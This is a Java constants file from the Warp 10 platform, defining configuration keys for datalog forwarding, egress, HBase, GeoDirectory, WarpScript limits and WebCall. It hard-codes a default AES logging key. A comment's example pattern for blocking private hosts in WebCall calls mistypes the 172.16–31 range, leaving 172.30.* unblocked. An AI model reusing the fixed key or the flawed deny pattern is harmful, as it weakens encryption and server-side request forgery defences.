* Directory where data requests should be logged. This directory should be in 700 to protect sensitive token infos.
*/
public static final String DATALOG_DIR = "datalog.dir";
/**
* Id of this datalog node. The id will be used in the file name and will be passed down to child nodes via
* a header.
*/
public static final String DATALOG_ID = "datalog.id";
/**
* Pre-shared AES key to wrap datalog.id and datalog.timestamp header values
*/
public static final String DATALOG_PSK = "datalog.psk";
/**
* Flag indicating whether or not to log forwarded requests.
*/
public static final String DATALOG_LOGFORWARDED = "datalog.logforwarded";
/**
* Configuration key to modify the datalog header
*/
public static final String HTTP_HEADER_DATALOG = "http.header.datalog";
/**
* Comma separated list of ids which should be ignored by the forwarder. This is to prevent loops from
* forming.
*/
public static final String DATALOG_FORWARDER_IGNORED = "datalog.forwarder.ignored";
/**
* Directory from which to read the datalog files to forward
*/
public static final String DATALOG_FORWARDER_SRCDIR = "datalog.forwarder.srcdir";
/**
* Directory where successfully forwarded files will be moved
*/
public static final String DATALOG_FORWARDER_DSTDIR = "datalog.forwarder.dstdir";
/**
* Flag used to indicate that forwarded requests should be deleted instead of moved.
*/
public static final String DATALOG_FORWARDER_DELETEFORWARDED = "datalog.forwarder.deleteforwarded";
/**
* Flag used to indicate that ignored requests should be deleted instead of moved.
*/
public static final String DATALOG_FORWARDER_DELETEIGNORED = "datalog.forwarder.deleteignored";
/**
* Delay between directory scans (in ms)
*/
public static final String DATALOG_FORWARDER_PERIOD = "datalog.forwarder.period";
/**
* Set to 'true' to compress forwarded update/meta requests
*/
public static final String DATALOG_FORWARDER_COMPRESS = "datalog.forwarder.compress";
/**
* Set to 'true' to act as a regular client when forwarding actions. Otherwise the datalog request will be forwarded.
* This MUST be set to 'true' when forwarding to a distributed version of Warp 10.
*/
public static final String DATALOG_FORWARDER_ACTASCLIENT = "datalog.forwarder.actasclient";
/**
* Number of threads to spawn to handle datalog actions
*/
public static final String DATALOG_FORWARDER_NTHREADS = "datalog.forwarder.nthreads";
/**
* Endpoint to use when forwarding UPDATE actions
*/
public static final String DATALOG_FORWARDER_ENDPOINT_UPDATE = "datalog.forwarder.endpoint.update";
/**
* Endpoint to use when forwarding DELETE actions
*/
public static final String DATALOG_FORWARDER_ENDPOINT_DELETE = "datalog.forwarder.endpoint.delete";
/**
* Endpoint to use when forwarding META actions
*/
public static final String DATALOG_FORWARDER_ENDPOINT_META = "datalog.forwarder.endpoint.meta";
/**
* Set to 'true' to disable plasma
*/
public static final String WARP_PLASMA_DISABLE = "warp.plasma.disable";
/**
* Set to 'true' to disable mobius
*/
public static final String WARP_MOBIUS_DISABLE = "warp.mobius.disable";
/**
* Set to 'true' to disable stream updates
*/
public static final String WARP_STREAMUPDATE_DISABLE = "warp.streamupdate.disable";
/**
* Set to 'true' to indicate the instance will use memory only for storage. This type of instance is non persistent.
*/
public static final String IN_MEMORY = "in.memory";
/**
* Set to 'true' to use a chunked memory store.
*/
public static final String IN_MEMORY_CHUNKED = "in.memory.chunked";
/**
* Depth of timestamps to retain (in ms)
*/
public static final String IN_MEMORY_DEPTH = "in.memory.depth";
/**
* High water mark in bytes. When memory goes above this threshold, attempts to remove expired datapoints will be
* done until consumed memory goes below the low water mark (see below) or no more expired datapoints can be found.
*/
public static final String IN_MEMORY_HIGHWATERMARK = "in.memory.highwatermark";
/**
* Low water mark in bytes for garbage collection (see above)
*/
public static final String IN_MEMORY_LOWWATERMARK = "in.memory.lowwatermark";
/**
* If set to true, then only the last recorded value of a GTS is kept
*/
public static final String IN_MEMORY_EPHEMERAL = "in.memory.ephemeral";
/**
* Number of chunks per GTS to handle in memory (defaults to 3)
*/
public static final String IN_MEMORY_CHUNK_COUNT = "in.memory.chunk.count";
/**
* Length of each chunk (in time units), defaults to Long.MAX_VALUE
*/
public static final String IN_MEMORY_CHUNK_LENGTH = "in.memory.chunk.length";
/**
* Path to a dump file containing the state of an in-memory Warp 10 to restore.
*/
public static final String STANDALONE_MEMORY_STORE_LOAD = "in.memory.load";
/**
* Path to a dump file in which the current state of an in-memory Warp 10 will be persisted.
*/
public static final String STANDALONE_MEMORY_STORE_DUMP = "in.memory.dump";
/**
* Set to true to tolerate errors while loading a dumped state. Setting this to true can lead to partial data being loaded.
*/
public static final String STANDALONE_MEMORY_STORE_LOAD_FAILSAFE = "in.memory.load.failsafe";
/**
* How often (in ms) to perform a gc of the in-memory store.
*/
public static final String STANDALONE_MEMORY_GC_PERIOD = "in.memory.gcperiod";
/**
* Maximum size (in bytes) of re-allocations performed during a gc cycle of the chunked in-memory store.
*/
public static final String STANDALONE_MEMORY_GC_MAXALLOC = "in.memory.gc.maxalloc";
/**
* Set to 'true' to only forward data to Plasma. Not data storage will take place.
*/
public static final String PURE_PLASMA = "pureplasma";
//
// E G R E S S
//
/**
* Flag (true/false) indicating whether or not the Directory and Store clients should be exposed by Egress.
* If set to true then Warp 10 plugins might access the exposed clients via the getExposedDirectoryClient and
* getExposedStoreClient static methods of EgressExecHandler.
*/
public static final String EGRESS_CLIENTS_EXPOSE = "egress.clients.expose";
/**
* Comma separated list of Egress related HBase configuration keys to extract from the Warp 10 configuration.
* The listed keys will be extracted from 'egress.' prefixed configuration keys.
*/
public static final String EGRESS_HBASE_CONFIG = "egress.hbase.config";
/**
* Port onto which the egress server should listen
*/
public static final String EGRESS_PORT = "egress.port";
/**
* Host onto which the egress server should listen
*/
public static final String EGRESS_HOST = "egress.host";
/**
* Number of acceptors
*/
public static final String EGRESS_ACCEPTORS = "egress.acceptors";
/**
* Number of selectors
*/
public static final String EGRESS_SELECTORS = "egress.selectors";
/**
* Idle timeout
*/
public static final String EGRESS_IDLE_TIMEOUT = "egress.idle.timeout";
/**
* ZooKeeper server list
*/
public static final String EGRESS_ZK_QUORUM = "egress.zk.quorum";
/**
* Key to use for encrypting GTSSplit instances
*/
public static final String EGRESS_FETCHER_AES = "egress.fetcher.aes";
/**
* Maximum age of a valid GTSSplit (in ms)
*/
public static final String EGRESS_FETCHER_MAXSPLITAGE = "egress.fetcher.maxsplitage";
/**
* Custom value of 'hbase.client.ipc.pool.size' for the Egress HBase pool
*/
public static final String EGRESS_HBASE_CLIENT_IPC_POOL_SIZE = "egress.hbase.client.ipc.pool.size";
/**
* Custom scanner lease period
*/
public static final String EGRESS_HBASE_CLIENT_SCANNER_TIMEOUT_PERIOD = "egress.hbase.client.scanner.timeout.period";
/**
* Custom value of 'hbase.client.max.perserver.tasks', defaults to 2
*/
public static final String EGRESS_HBASE_CLIENT_MAX_PERSERVER_TASKS = "egress.hbase.client.max.perserver.tasks";
/**
* Custom value of 'hbase.client.max.perregion.tasks', defaults to 1
*/
public static final String EGRESS_HBASE_CLIENT_MAX_PERREGION_TASKS = "egress.hbase.client.max.perregion.tasks";
/**
* Custom value of 'hbase.client.max.total.tasks', defaults to 100
*/
public static final String EGRESS_HBASE_CLIENT_MAX_TOTAL_TASKS = "egress.hbase.client.max.total.tasks";
/**
* Custom value for RPC timeout
*/
public static final String EGRESS_HBASE_RPC_TIMEOUT = "egress.hbase.rpc.timeout";
/**
* Number of threads to use for scheduling parallel scanners. Use 0 to disable parallel scanners
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_POOLSIZE = "egress.hbase.parallelscanners.poolsize";
/**
* Maximum number of parallel scanners per fetch request. Use 0 to disable parallel scanners.
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_MAXINFLIGHTPERREQUEST = "egress.hbase.parallelscanners.maxinflightperrequest";
/**
* Minimum number of GTS to assign to a parallel scanner. If the number of GTS to fetch is below this limit, no
* parallel scanners will be spawned. Defaults to 4.
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_MIN_GTS_PERSCANNER = "egress.hbase.parallelscanners.min.gts.perscanner";
/**
* Maximum number of parallel scanners to use when fetching datapoints for a batch of GTS (see EGRESS_FETCH_BATCHSIZE).
* Defaults to 16.
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_MAX_PARALLEL_SCANNERS = "egress.hbase.parallelscanners.max.parallel.scanners";
/**
* Number of threads to use for scheduling parallel scanners in the standalone version. Use 0 to disable parallel scanners
*/
public static final String STANDALONE_PARALLELSCANNERS_POOLSIZE = "standalone.parallelscanners.poolsize";
/**
* Maximum number of parallel scanners per fetch request in the standalone version. Use 0 to disable parallel scanners.
*/
public static final String STANDALONE_PARALLELSCANNERS_MAXINFLIGHTPERREQUEST = "standalone.parallelscanners.maxinflightperrequest";
/**
* Minimum number of GTS to assign to a parallel scanner in the standalone version. If the number of GTS to fetch is below this limit, no
* parallel scanners will be spawned. Defaults to 4.
*/
public static final String STANDALONE_PARALLELSCANNERS_MIN_GTS_PERSCANNER = "standalone.parallelscanners.min.gts.perscanner";
/**
* Maximum number of parallel scanners to use when fetching datapoints for a batch of GTS (see EGRESS_FETCH_BATCHSIZE) in the standalone version.
* Defaults to 16.
*/
public static final String STANDALONE_PARALLELSCANNERS_MAX_PARALLEL_SCANNERS = "standalone.parallelscanners.max.parallel.scanners";
/**
* Geo Time Series count threshold above which block caching will be disabled for HBase scanners.
* The goal is to limit the cache pollution when scanning large chunks of data.
*/
public static final String EGRESS_HBASE_DATA_BLOCKCACHE_GTS_THRESHOLD = "egress.hbase.data.blockcache.gts.threshold";
/**
* Key to use for encrypting data in HBase (128/192/256 bits in hex or OSS reference)
*/
public static final String EGRESS_HBASE_DATA_AES = "egress.hbase.data.aes";
/**
* Columns family under which data should be stored
*/
public static final String EGRESS_HBASE_DATA_COLFAM = "egress.hbase.data.colfam";
/**
* HBase table where data should be stored
*/
public static final String EGRESS_HBASE_DATA_TABLE = "egress.hbase.data.table";
/**
* ZooKeeper Quorum for locating HBase
*/
public static final String EGRESS_HBASE_DATA_ZKCONNECT = "egress.hbase.data.zkconnect";
/**
* ZooKeeper port for HBase client
*/
public static final String EGRESS_HBASE_ZOOKEEPER_PROPERTY_CLIENTPORT = "egress.hbase.zookeeper.property.clientPort";
/**
* Parent znode under which HBase znodes will be created
*/
public static final String EGRESS_HBASE_DATA_ZNODE = "egress.hbase.data.znode";
/**
* Number of GTS to batch when retrieving datapoints (to mitigate responseTooSlow errors)
*/
public static final String EGRESS_FETCH_BATCHSIZE = "egress.fetch.batchsize";
/**
* Boolean indicating whether or not to use the HBase filter when retrieving rows.
*/
public static final String EGRESS_HBASE_FILTER = "egress.hbase.filter";
/**
* GTS count threshold above which the filter will be used.
*/
public static final String EGRESS_HBASE_FILTER_THRESHOLD = "egress.hbase.filter.threshold";
//
// T H R O T T L I N G M A N A G E R
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Name of system property (configuration property) which contains the
* root directory where throttle files are stored.
*/
public static final String THROTTLING_MANAGER_DIR = "throttling.manager.dir";
/**
* Period (in ms) between two scans of the THROTTLING_MANAGER_DIR
*/
public static final String THROTTLING_MANAGER_PERIOD = "throttling.manager.period";
/**
* Ramp up period (in ms) during which we do not push the estimators to Sensision.
* This period (in ms) should be greater than the period at which the throttling files
* are updated, so we get a chance to have a merged estimator pushed to us even when
* we just restarted.
*/
public static final String THROTTLING_MANAGER_RAMPUP = "throttling.manager.rampup";
/**
* Maximum number of estimators we keep in memory
*/
public static final String THROTTLING_MANAGER_ESTIMATOR_CACHE_SIZE = "throttling.manager.estimator.cache.size";
/**
* Default value for the rate when not configured through a file
*/
public static final String THROTTLING_MANAGER_RATE_DEFAULT = "throttling.manager.rate.default";
/**
* Default value for the mads when not configured through a file
*/
public static final String THROTTLING_MANAGER_MADS_DEFAULT = "throttling.manager.mads.default";
/**
* Default value for the maxwait timeout
*/
public static final String THROTTLING_MANAGER_MAXWAIT_DEFAULT = "throttling.manager.maxwait.default";
//
// G E O D I R
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Prefix to use if dumping/loading the LKP indices
*/
public static final String GEODIR_DUMP_PREFIX = "geodir.dump.prefix";
public static final String GEODIR_KAFKA_SUBS_ZKCONNECT = "geodir.kafka.subs.zkconnect";
public static final String GEODIR_KAFKA_SUBS_BROKERLIST = "geodir.kafka.subs.brokerlist";
public static final String GEODIR_KAFKA_SUBS_PRODUCER_CLIENTID = "geodir.kafka.subs.producer.clientid";
public static final String GEODIR_KAFKA_SUBS_TOPIC = "geodir.kafka.subs.topic";
public static final String GEODIR_KAFKA_SUBS_GROUPID = "geodir.kafka.subs.groupid";
public static final String GEODIR_KAFKA_SUBS_CONSUMER_CLIENTID = "geodir.kafka.subs.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String GEODIR_KAFKA_SUBS_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "geodir.kafka.subs.consumer.partition.assignment.strategy";
public static final String GEODIR_KAFKA_SUBS_NTHREADS = "geodir.kafka.subs.nthreads";
public static final String GEODIR_KAFKA_SUBS_COMMITPERIOD = "geodir.kafka.subs.commitperiod";
public static final String GEODIR_KAFKA_SUBS_MAC = "geodir.kafka.subs.mac";
public static final String GEODIR_KAFKA_SUBS_AES = "geodir.kafka.subs.aes";
public static final String GEODIR_KAFKA_DATA_ZKCONNECT = "geodir.kafka.data.zkconnect";
public static final String GEODIR_KAFKA_DATA_BROKERLIST = "geodir.kafka.data.brokerlist";
public static final String GEODIR_KAFKA_DATA_PRODUCER_CLIENTID = "geodir.kafka.data.producer.clientid";
public static final String GEODIR_KAFKA_DATA_TOPIC = "geodir.kafka.data.topic";
public static final String GEODIR_KAFKA_DATA_GROUPID = "geodir.kafka.data.groupid";
public static final String GEODIR_KAFKA_DATA_CONSUMER_CLIENTID = "geodir.kafka.data.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String GEODIR_KAFKA_DATA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "geodir.kafka.data.consumer.partition.assignment.strategy";
public static final String GEODIR_KAFKA_DATA_NTHREADS = "geodir.kafka.data.nthreads";
public static final String GEODIR_KAFKA_DATA_COMMITPERIOD = "geodir.kafka.data.commitperiod";
public static final String GEODIR_KAFKA_DATA_MAC = "geodir.kafka.data.mac";
public static final String GEODIR_KAFKA_DATA_AES = "geodir.kafka.data.aes";
public static final String GEODIR_KAFKA_DATA_MAXSIZE = "geodir.kafka.data.maxsize";
public static final String GEODIR_ID = "geodir.id";
public static final String GEODIR_NAME = "geodir.name";
public static final String GEODIR_MODULUS = "geodir.modulus";
public static final String GEODIR_REMAINDER = "geodir.remainder";
public static final String GEODIR_HTTP_PORT = "geodir.http.port";
public static final String GEODIR_HTTP_HOST = "geodir.http.host";
public static final String GEODIR_ACCEPTORS = "geodir.acceptors";
public static final String GEODIR_SELECTORS = "geodir.selectors";
public static final String GEODIR_IDLE_TIMEOUT = "geodir.idle.timeout";
public static final String GEODIR_THRIFT_PORT = "geodir.thrift.port";
public static final String GEODIR_THRIFT_HOST = "geodir.thrift.host";
public static final String GEODIR_THRIFT_MAXTHREADS = "geodir.thrift.maxthreads";
public static final String GEODIR_THRIFT_MAXFRAMELEN = "geodir.thrift.maxframelen";
public static final String GEODIR_MAXCELLS = "geodir.maxcells";
public static final String GEODIR_RESOLUTION = "geodir.resolution";
public static final String GEODIR_CHUNK_DEPTH = "geodir.chunk.depth";
public static final String GEODIR_CHUNK_COUNT = "geodir.chunk.count";
public static final String GEODIR_PERIOD = "geodir.period";
public static final String GEODIR_DIRECTORY_PSK = "geodir.directory.psk";
public static final String GEODIR_FETCH_PSK = "geodir.fetch.psk";
public static final String GEODIR_FETCH_ENDPOINT = "geodir.fetch.endpoint";
public static final String GEODIR_ZK_SUBS_QUORUM = "geodir.zk.subs.quorum";
public static final String GEODIR_ZK_SUBS_ZNODE = "geodir.zk.subs.znode";
public static final String GEODIR_ZK_SUBS_MAXZNODESIZE = "geodir.zk.subs.maxznodesize";
public static final String GEODIR_ZK_SUBS_AES = "geodir.zk.subs.aes";
public static final String GEODIR_ZK_PLASMA_QUORUM = "geodir.zk.plasma.quorum";
public static final String GEODIR_ZK_PLASMA_ZNODE = "geodir.zk.plasma.znode";
public static final String GEODIR_ZK_PLASMA_MAXZNODESIZE = "geodir.zk.plasma.maxznodesize";
public static final String GEODIR_ZK_SERVICE_QUORUM = "geodir.zk.service.quorum";
public static final String GEODIR_ZK_SERVICE_ZNODE = "geodir.zk.service.znode";
public static final String GEODIR_ZK_DIRECTORY_QUORUM = "geodir.zk.directory.quorum";
public static final String GEODIR_ZK_DIRECTORY_ZNODE = "geodir.zk.directory.znode";
/**
* Comma separated list of GeoDirectory instances to maintain.
* Each instance is defined by a string with the following format:
*
* name/resolution/chunks/chunkdepth
*
* name is the name of the GeoDirectory
* resolution is a number between 1 and 15 defining the resolution of the geo index:
*
* 1 = 10,000 km
* 2 = 2,500 km
* 3 = 625 km
* 4 = 156 km
* 5 = 39 km
* 6 = 10 km
* 7 = 2,441 m
* 8 = 610 m
* 9 = 153 m
* 10= 38 m
* 11= 10 m
* 12= 238 cm
* 13= 60 cm
* 14= 15 cm
* 15= 4 cm
*
* chunks is the number of time chunks to maintain
* chunkdepth is the time span of each time chunk, in ms
*/
public static final String STANDALONE_GEODIRS = "standalone.geodirs";
/**
* Delay in ms between two subscription updates
*/
public static final String STANDALONE_GEODIR_DELAY = "standalone.geodir.delay";
/**
* Maximum number of 'cells' in the query area, system will attempt to reduce the number
* of cells searched by replacing small cells with their enclosing parent until the number
* of cells falls below this maximum or no more simplification can be done.
*
* A good value for performance is around 256
*/
public static final String STANDALONE_GEODIR_MAXCELLS = "standalone.geodir.maxcells";
/**
* AES encryption key for subscriptions
*/
public static final String STANDALONE_GEODIR_AES = "standalone.geodir.aes";
/**
* Directory where subscriptions should be stored
*/
public static final String STANDALONE_GEODIR_SUBS_DIR = "standalone.geodir.subs.dir";
/**
* Prefix for subscription files
*/
public static final String STANDALONE_GEODIR_SUBS_PREFIX = "standalone.geodir.subs.prefix";
/////////////////////////////////////////////////////////////////////////////////////////
//
// Jar Repository
//
public static final String JARS_DIRECTORY = "warpscript.jars.directory";
public static final String JARS_REFRESH = "warpscript.jars.refresh";
public static final String JARS_FROMCLASSPATH = "warpscript.jars.fromclasspath";
/*
* CALL root directory property
*/
public static final String WARPSCRIPT_CALL_DIRECTORY = "warpscript.call.directory";
/**
* Maximum number of subprogram instances which can be spawned
*/
public static final String WARPSCRIPT_CALL_MAXCAPACITY = "warpscript.call.maxcapacity";
/**
* Macro Repository root directory
*/
public static final String REPOSITORY_DIRECTORY = "warpscript.repository.directory";
/**
* Macro repository refresh interval (in ms)
*/
public static final String REPOSITORY_REFRESH = "warpscript.repository.refresh";
/**
* Should new macros be loaded on demand?
*/
public static final String REPOSITORY_ONDEMAND = "warpscript.repository.ondemand";
/**
* Header containing the request UUID when calling the endpoint
*/
public static final String HTTP_HEADER_WEBCALL_UUIDX = "http.header.webcall.uuid";
/**
* HTTP Header for elapsed time of WarpScript scripts
*/
public static final String HTTP_HEADER_ELAPSEDX = "http.header.elapsed";
/**
* HTTP Header for number of ops performed in a script invocation
*/
public static final String HTTP_HEADER_OPSX = "http.header.ops";
/**
* HTTP Header for number of datapoints fetched during a script invocation
*/
public static final String HTTP_HEADER_FETCHEDX = "http.header.fetched";
/**
* Script line where an error was encountered
*/
public static final String HTTP_HEADER_ERROR_LINEX = "http.header.error.line";
/**
* Message for the error that was encountered
*/
public static final String HTTP_HEADER_ERROR_MESSAGEX = "http.header.error.message";
/**
* HTTP Header for access tokens
*/
public static final String HTTP_HEADER_TOKENX = "http.header.token";
/**
* HTTP Header to provide the token for outgoing META requests
*/
public static final String HTTP_HEADER_META_TOKENX = "http.header.token.META";
/**
* HTTP Header to provide the token for outgoing DELETE requests
*/
public static final String HTTP_HEADER_DELETE_TOKENX = "http.header.token.DELETE";
/**
* HTTP Header to provide the token for outgoing UPDATE requests
*/
public static final String HTTP_HEADER_UPDATE_TOKENX = "http.header.token.UPDATE";
/**
* HTTP Header for setting the base timestamp for relative timestamps or for the 'now'
* parameter of /sfetch
*/
public static final String HTTP_HEADER_NOW_HEADERX = "http.header.now";
/**
* HTTP Header for specifying the timespan in /sfetch requests
*/
public static final String HTTP_HEADER_TIMESPAN_HEADERX = "http.header.timespan";
/**
* HTTP Header to specify if we should show errors in /sfetch responses
*/
public static final String HTTP_HEADER_SHOW_ERRORS_HEADERX = "http.header.showerrors";
/**
* Name of header containing the signature of the token used for the fetch
*/
public static String HTTP_HEADER_FETCH_SIGNATURE = "http.header.fetch.signature";
/**
* Name of header containing the signature of the token used for the update
*/
public static String HTTP_HEADER_UPDATE_SIGNATURE = "http.header.update.signature";
/**
* Name of header containing the signature of streaming directory requests
*/
public static String HTTP_HEADER_DIRECTORY_SIGNATURE = "http.header.directory.signature";
/**
* Name of header containing the name of the symbol in which to expose the request headers
*/
public static String HTTP_HEADER_EXPOSE_HEADERS = "http.header.exposeheaders";
}
| warp10/src/main/java/io/warp10/continuum/Configuration.java | //
// Copyright 2016 Cityzen Data
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
package io.warp10.continuum;
public class Configuration {
public static final String OSS_MASTER_KEY = "oss.master.key";
public static final String WARP_COMPONENTS = "warp.components";
public static final String WARP_TOKEN_FILE = "warp.token.file";
public static final String WARP_HASH_CLASS = "warp.hash.class";
public static final String WARP_HASH_LABELS = "warp.hash.labels";
public static final String CONTINUUM_HASH_INDEX = "warp.hash.index";
public static final String WARP_HASH_TOKEN = "warp.hash.token";
public static final String WARP_HASH_APP = "warp.hash.app";
public static final String WARP_AES_TOKEN = "warp.aes.token";
public static final String WARP_AES_SCRIPTS = "warp.aes.scripts";
public static final String WARP_AES_METASETS = "warp.aes.metasets";
public static final String WARP_AES_LOGGING = "warp.aes.logging";
public static final String WARP_DEFAULT_AES_LOGGING = "hex:3cf5cee9eadddba796f2cce0762f308ad9df36f4883841e167dab2889bcf215b";
public static final String WARP_IDENT = "warp.ident";
public static final String WARP10_QUIET = "warp10.quiet";
/**
* Comma separated list of headers to return in the Access-Allow-Control-Headers response header to preflight requests.
*/
public static final String CORS_HEADERS = "cors.headers";
/**
* List of Warp 10 plugins to initialize
*/
public static final String WARP10_PLUGINS = "warp10.plugins";
/**
* Prefix for plugin declaration
*/
public static final String WARP10_PLUGIN_PREFIX = "warp10.plugin.";
/**
* Maximum number of subscriptions per plasma connection
*/
public static final String WARP_PLASMA_MAXSUBS = "warp.plasma.maxsubs";
/**
* Maximum encoder size (in bytes) for internal data transfers. Use values from 64k to 512k for
* optimum performance and make sure this size is less than the maximum message size of Kafka
* otherwise bad things will happen as messages may not be able to be exchanged within Warp 10.
*/
public static final String MAX_ENCODER_SIZE = "max.encoder.size";
/**
* How often (in ms) should we refetch the region start/end keys
*/
public static final String WARP_HBASE_REGIONKEYS_UPDATEPERIOD = "warp.hbase.regionkeys.updateperiod";
/**
* Comma separated list of additional languages to support within WarpScript
* This MUST be set as a system property
*/
public static final String CONFIG_WARPSCRIPT_LANGUAGES = "warpscript.languages";
/**
* Comma separated list of WarpScriptExtension classes to instantiate to modify
* the defined WarpScript functions.
*/
public static final String CONFIG_WARPSCRIPT_EXTENSIONS = "warpscript.extensions";
/**
* Prefix for properties which define WarpScript extensions
*/
public static final String CONFIG_WARPSCRIPT_EXTENSION_PREFIX = "warpscript.extension.";
/**
* Prefix for properties which define WarpScript extension namespaces.
*/
public static final String CONFIG_WARPSCRIPT_NAMESPACE_PREFIX = "warpscript.namespace.";
/**
* This configuration parameter determines if undefining a function (via NULL 'XXX' DEF)
* will unshadow the original statement thus making it available again or if it will replace
* it with a function that will fail with a message saying the function is undefined.
* The safest behavior is to leave this undefined or set to 'false'.
*/
public static final String WARPSCRIPT_DEF_UNSHADOW = "warpscript.def.unshadow";
public static final String WARPSCRIPT_MAX_OPS = "warpscript.maxops";
public static final String WARPSCRIPT_MAX_BUCKETS = "warpscript.maxbuckets";
public static final String WARPSCRIPT_MAX_GEOCELLS = "warpscript.maxgeocells";
public static final String WARPSCRIPT_MAX_DEPTH = "warpscript.maxdepth";
public static final String WARPSCRIPT_MAX_FETCH = "warpscript.maxfetch";
public static final String WARPSCRIPT_MAX_GTS = "warpscript.maxgts";
public static final String WARPSCRIPT_MAX_LOOP_DURATION = "warpscript.maxloop";
public static final String WARPSCRIPT_MAX_RECURSION = "warpscript.maxrecursion";
public static final String WARPSCRIPT_MAX_SYMBOLS = "warpscript.maxsymbols";
public static final String WARPSCRIPT_MAX_WEBCALLS = "warpscript.maxwebcalls";
public static final String WARPSCRIPT_MAX_PIXELS = "warpscript.maxpixels";
public static final String WARPSCRIPT_URLFETCH_LIMIT = "warpscript.urlfetch.limit";
public static final String WARPSCRIPT_URLFETCH_MAXSIZE = "warpscript.urlfetch.maxsize";
// Hard limits for the above limits which can be changed via a function call
public static final String WARPSCRIPT_MAX_OPS_HARD = "warpscript.maxops.hard";
public static final String WARPSCRIPT_MAX_BUCKETS_HARD = "warpscript.maxbuckets.hard";
public static final String WARPSCRIPT_MAX_GEOCELLS_HARD = "warpscript.maxgeocells.hard";
public static final String WARPSCRIPT_MAX_DEPTH_HARD = "warpscript.maxdepth.hard";
public static final String WARPSCRIPT_MAX_FETCH_HARD = "warpscript.maxfetch.hard";
public static final String WARPSCRIPT_MAX_GTS_HARD = "warpscript.maxgts.hard";
public static final String WARPSCRIPT_MAX_LOOP_DURATION_HARD = "warpscript.maxloop.hard";
public static final String WARPSCRIPT_MAX_RECURSION_HARD = "warpscript.maxrecursion.hard";
public static final String WARPSCRIPT_MAX_SYMBOLS_HARD = "warpscript.maxsymbols.hard";
public static final String WARPSCRIPT_MAX_PIXELS_HARD = "warpscript.maxpixels.hard";
public static final String WARPSCRIPT_URLFETCH_LIMIT_HARD = "warpscript.urlfetch.limit.hard";
public static final String WARPSCRIPT_URLFETCH_MAXSIZE_HARD = "warpscript.urlfetch.maxsize.hard";
/**
* Flag to enable REXEC
*/
public static final String WARPSCRIPT_REXEC_ENABLE = "warpscript.rexec.enable";
public static final String WEBCALL_USER_AGENT = "webcall.user.agent";
/**
* List of patterns to include/exclude for hosts in WebCall calls
*
* Typical value is .*,!^127.0.0.1$,!^localhost$,!^192.168.*,!^10.*,!^172.(16|17|18|19|20|21|22|23|24|25|26|27|28|29|39|31)\..*
*
*/
public static final String WEBCALL_HOST_PATTERNS = "webcall.host.patterns";
/**
* ZK Quorum to use for reaching the Kafka cluster to consume WebCall requests
*/
public static final String WEBCALL_KAFKA_ZKCONNECT = "webcall.kafka.zkconnect";
/**
* List of Kafka brokers to use for sending WebCall requests
*/
public static final String WEBCALL_KAFKA_BROKERLIST = "webcall.kafka.brokerlist";
/**
* Topic to use for WebCall requests
*/
public static final String WEBCALL_KAFKA_TOPIC = "webcall.kafka.topic";
/**
* AES key to use for encrypting WebCall requests
*/
public static final String WEBCALL_KAFKA_AES = "webcall.kafka.aes";
/**
* SipHash key to use for computing WebCall requests HMACs
*/
public static final String WEBCALL_KAFKA_MAC = "webcall.kafka.mac";
/**
* Kafka client id to use when consuming WebCall requests
*/
public static final String WEBCALL_KAFKA_CONSUMER_CLIENTID = "webcall.kafka.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String WEBCALL_KAFKA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "webcall.kafka.consumer.partition.assignment.strategy";
/**
* Kafka client id to use when producing WebCall requests
*/
public static final String WEBCALL_KAFKA_PRODUCER_CLIENTID = "webcall.kafka.producer.clientid";
/**
* How many threads to spawn
*/
public static final String WEBCALL_NTHREADS = "webcall.nthreads";
/**
* Groupid to use when consuming Kafka
*/
public static final String WEBCALL_KAFKA_GROUPID = "webcall.kafka.groupid";
/**
* How often to commit the Kafka offsets
*/
public static final String WEBCALL_KAFKA_COMMITPERIOD = "webcall.kafka.commitperiod";
/**
* Number of continuum time units per millisecond
* 1000000 means we store nanoseconds
* 1000 means we store microseconds
* 1 means we store milliseconds
* 0.001 means we store seconds (N/A since we use a long for the constant)
*/
public static final String WARP_TIME_UNITS = "warp.timeunits";
/**
* Path of the 'bootstrap' Einstein code for Egress
*/
public static final String CONFIG_WARPSCRIPT_BOOTSTRAP_PATH = "warpscript.bootstrap.path";
/**
* How often to reload the bootstrap code (in ms) for Egress
*/
public static final String CONFIG_WARPSCRIPT_BOOTSTRAP_PERIOD = "warpscript.bootstrap.period";
/**
* Path of the 'bootstrap' Einstein code for Mobius
*/
public static final String CONFIG_WARPSCRIPT_MOBIUS_BOOTSTRAP_PATH = "warpscript.mobius.bootstrap.path";
/**
* Number of threads in the Mobius pool
*/
public static final String CONFIG_WARPSCRIPT_MOBIUS_POOL = "warpscript.mobius.pool";
/**
* How often to reload the bootstrap code (in ms) for Mobius
*/
public static final String CONFIG_WARPSCRIPT_MOBIUS_BOOTSTRAP_PERIOD = "warpscript.mobius.bootstrap.period";
/**
* Path of the 'bootstrap' Einstein code for Runner
*/
public static final String CONFIG_WARPSCRIPT_RUNNER_BOOTSTRAP_PATH = "warpscript.runner.bootstrap.path";
/**
* How often to reload the bootstrap code (in ms) for Mobius
*/
public static final String CONFIG_WARPSCRIPT_RUNNER_BOOTSTRAP_PERIOD = "warpscript.runner.bootstrap.period";
/**
* URL for the 'update' endpoint accessed in UPDATE
*/
public static final String CONFIG_WARPSCRIPT_UPDATE_ENDPOINT = "warpscript.update.endpoint";
/**
* URL for the 'meta' endpoint accessed in META
*/
public static final String CONFIG_WARPSCRIPT_META_ENDPOINT = "warpscript.meta.endpoint";
/**
* URL for the 'delete' endpoint accessed in DELETE
*/
public static final String CONFIG_WARPSCRIPT_DELETE_ENDPOINT = "warpscript.delete.endpoint";
/**
